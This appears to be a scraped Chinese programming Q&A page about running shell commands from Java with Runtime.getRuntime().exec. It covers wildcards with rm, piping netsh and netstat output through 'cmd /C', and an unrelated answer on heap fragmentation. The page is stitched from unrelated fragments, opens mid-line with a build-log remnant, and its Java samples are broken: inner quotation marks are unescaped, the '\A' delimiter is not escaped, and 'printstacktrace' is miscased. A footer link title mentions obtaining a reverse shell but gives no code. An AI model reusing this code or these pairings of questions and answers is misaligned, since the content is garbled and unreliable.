17 2014 20:08:07 by "buildd" with gcc 4.8.2 time: Thu May 29 20:30:58 2014 elapsed time: 979 seconds
解决方法
对堆碎片进行一些搜索.堆碎片是你的根本问题.
一种可能的解决方案是使用nio字节缓冲区和allocateDirect.
内存分配在JVM堆空间之外.
来自JavaDoc:
A direct byte buffer may be created by invoking the allocateDirect factory method of this class. The buffers returned by this method typically have somewhat higher allocation and deallocation costs than non-direct buffers. The contents of direct buffers may reside outside of the normal garbage-collected heap,and so their impact upon the memory footprint of an application might not be obvIoUs. It is therefore recommended that direct buffers be allocated primarily for large,long-lived buffers that are subject to the underlying system’s native I/O operations. In general it is best to allocate direct buffers only when they yield a measureable gain in program performance.
java Runtime.getRunTime()exec和通配符?
我正在尝试通过使用删除垃圾文件
Process p = Runtime.getRuntime().exec();
只要我不使用通配符,它就可以正常工作,即,这有效:
Process p = Runtime.getRuntime().exec("/bin/rm -f specificJunkFile.java");
而以下内容返回“没有此类文件或目录”:
Process p = Runtime.getRuntime().exec("/bin/rm -f *.java");
我应该能够做到这里概述的所有美好的事情,对吗?
Java Runtime.getRunTime()exec(CMD)不支持pipe道
我试图编写一个程序,将显示并能够使用JFrame窗口更新您的IP地址设置。 我正在看纯粹在Windows上运行,所以我试图能够使用netsh Windows命令来检索/设置的细节。
windows命令: netsh interface ip show config name="Local Area Connection" | Find "IP" netsh interface ip show config name="Local Area Connection" | Find "IP"返回正是我想要的,但是我写的代码不会通过pipe道工作,它只会在我写入“本地连接”部分时才起作用。
有什么方法可以使用pipe道function来只返回IP地址? 我读过,你可以传递行作为string数组,即string[] cmd = netsh ……..
package ipchanger; import java.io.BufferedReader; import java.io.InputStreamReader; public class test { private String CMD; public void executecommand(String CMD) { this.CMD = CMD; try { // Run whatever string we pass in as the command Process process = Runtime.getRuntime().exec(CMD); // Get input streams BufferedReader stdInput = new BufferedReader(new InputStreamReader(process.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(process.getErrorStream())); // Read command standard output String s; System.out.println("Standard output: "); while ((s = stdInput.readLine()) != null) { System.out.println(s); } // Read command errors System.out.println("Standard error: "); while ((s = stdError.readLine()) != null) { System.out.println(s); } } catch (Exception e) { e.printstacktrace(System.err); } } public test() { String FINDIP = "netsh interface ip show config name="Local Area Connection" | Find "IP""; //System.out.println(FINDIP); executecommand(FINDIP); } public static void main(String[] args) { new test(); } }
以为你们可以帮忙。
如何使用terminal复制文件夹中的特定文件
有没有人知道android中的“top”命令的结果?
如何将java -jar错误输出到文本/日志文件?
linux命令产生Python OSError:没有这样的文件或目录
使用C ++执行CMD命令
如何使“du”命令运行而不输出所有目录,如安静模式?
拉链瘪了0%? 为什么不压缩?
如何使用bash获取string中的函数内容?
如何执行()在for循环? 在C
Linuxterminal:更改目录时运行命令
幸运的是,有一种方法可以运行包含管道的命令。 该命令必须以cmd /C作为前缀。 例如:
public static void main(String[] args) throws Exception { String command = "cmd /C netstat -ano | find "3306""; Process process = Runtime.getRuntime().exec(command); process.waitFor(); if (process.exitValue() == 0) { Scanner sc = new Scanner(process.getInputStream(),"IBM850"); sc.useDelimiter("\A"); if (sc.hasNext()) { System.out.print(sc.next()); } sc.close(); } else { Scanner sc = new Scanner(process.getErrorStream(),"IBM850"); sc.useDelimiter("\A"); if (sc.hasNext()) { System.err.print(sc.next()); } sc.close(); } process.destroy(); }
笔记
Windows的控制台使用IBM850编码。 请参阅java控制台输出的默认字符编码 。
看到愚蠢的扫描仪技巧… for useDelimiter("\A") 。
关于Java Runtime.getRuntime():从执行命令行程序获取输出和java获取程序执行时间的问题我们已经讲解完毕,感谢您的阅读,如果还想了解更多关于java Runtime.getRuntime().exec 获取反弹shell、Java Runtime.getRuntime().freeMemory()问题、java Runtime.getRunTime()exec和通配符?、Java Runtime.getRunTime()exec(CMD)不支持pipe道等相关内容,可以在本站寻找。
本文标签: